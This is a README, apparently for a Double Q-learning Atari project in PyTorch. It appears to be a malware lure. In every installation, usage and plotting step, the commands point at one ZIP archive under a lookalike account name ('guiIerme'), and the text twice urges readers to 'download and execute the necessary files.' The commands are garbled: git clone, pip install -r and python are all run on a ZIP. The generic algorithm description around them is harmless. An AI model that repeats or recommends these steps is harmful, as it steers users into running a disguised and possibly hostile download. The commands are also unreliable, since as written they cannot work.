Deep Reinforcement Learning with Double Q-learning: Paper Implementation

Welcome to the Deep Reinforcement Learning with Double Q-learning repository. This project implements the concepts from the paper on Double Q-learning, a significant advancement in the field of reinforcement learning. The implementation focuses on applications in the Atari gaming environment using OpenAI Gym and PyTorch.

Table of Contents

• Introduction
• Installation
• Usage
• Implementation Details
• Results
• Contributing
• License
• References

Introduction

Reinforcement learning (RL) is a branch of machine learning where an agent learns to make decisions by interacting with an environment. Double Q-learning is an improvement over traditional Q-learning that helps to reduce overestimation bias. This repository aims to provide a clear and straightforward implementation of Double Q-learning, specifically for Atari games.

You can find the latest releases of this project here. Please download and execute the necessary files to get started.

Installation

To set up the environment for this project, follow these steps:

1. Clone the repository:

   git clone https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip
   cd Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation

2. Create a virtual environment (optional but recommended):

   python -m venv venv
   source venv/bin/activate  # On Windows use `venv\Scripts\activate`

3. Install the required packages:

   pip install -r https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip

4. Ensure you have the necessary dependencies:

   • PyTorch: Follow the instructions on the official site for installation.
   • OpenAI Gym: Install it using:

     pip install gym[atari]

5. Verify your installation: Run the following command to check if everything is set up correctly:

   python -m unittest discover

Usage

To train the Double Q-learning agent, execute the following command:

python https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip --env AtariGameName

Replace AtariGameName with the specific game you want to train the agent on, such as Breakout-v0 or Pong-v0.

For example, to train the agent on Breakout, use:

python https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip --env Breakout-v0

You can also specify additional parameters such as the number of episodes, learning rate, and more. Check the https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip file for available options.

You can find the latest releases of this project here. Please download and execute the necessary files to get started.

Implementation Details

Double Q-learning Algorithm

Double Q-learning addresses the overestimation bias in Q-learning by maintaining two separate value functions. This method selects actions based on one value function and updates the other. The main steps of the algorithm are:

1. Initialize two Q-value functions (Q_1) and (Q_2) for each state-action pair.
2. For each episode:
   • Reset the environment.
   • For each time step:
     • Select an action using an epsilon-greedy policy based on (Q_1) or (Q_2).
     • Take the action and observe the reward and next state.
     • Update the selected Q-value function using the reward and the maximum action value from the other function.

Network Architecture

The neural network architecture used in this implementation consists of:

• Input Layer: Takes the state representation from the Atari environment.
• Hidden Layers: Several convolutional layers followed by fully connected layers.
• Output Layer: Outputs Q-values for each possible action.

The architecture is designed to handle the high-dimensional input from the Atari games effectively.

Training Process

The training process involves the following:

• Experience Replay: The agent stores experiences in a replay buffer and samples from it to break the correlation between consecutive experiences.
• Target Network: A separate target network is used to stabilize training. The target network is updated periodically.
• Epsilon Decay: The exploration rate decreases over time to encourage exploitation of learned policies.

Results

The performance of the Double Q-learning agent can be evaluated using the following metrics:

• Average Reward: The average reward obtained over a specified number of episodes.
• Learning Curve: A plot showing the average reward over time.

You can visualize the results using the provided scripts. For example:

python https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip --file https://github.com/guiIerme/Deep-Reinforcement-Learning-with-Double-Q-learning-Paper-Implementation/raw/refs/heads/main/ddqn/networks/Learning-Double-learning-with-Paper-Reinforcement-Deep-Implementation-v1.8-beta.5.zip

This will generate a graph displaying the agent's performance over time.

Contributing

Contributions are welcome! If you want to improve this project, please follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your branch to your fork.
5. Create a pull request.

Please ensure that your code adheres to the existing style and includes tests where applicable.

License

This project is licensed under the MIT License. See the LICENSE file for details.

References

• Mnih, V., et al. (2015). "Human-level control through deep reinforcement learning." Nature.
• Hasselt, H. van. (2010). "Double Q-learning." Advances in Neural Information Processing Systems.

Feel free to explore the code and experiment with different parameters. Happy coding!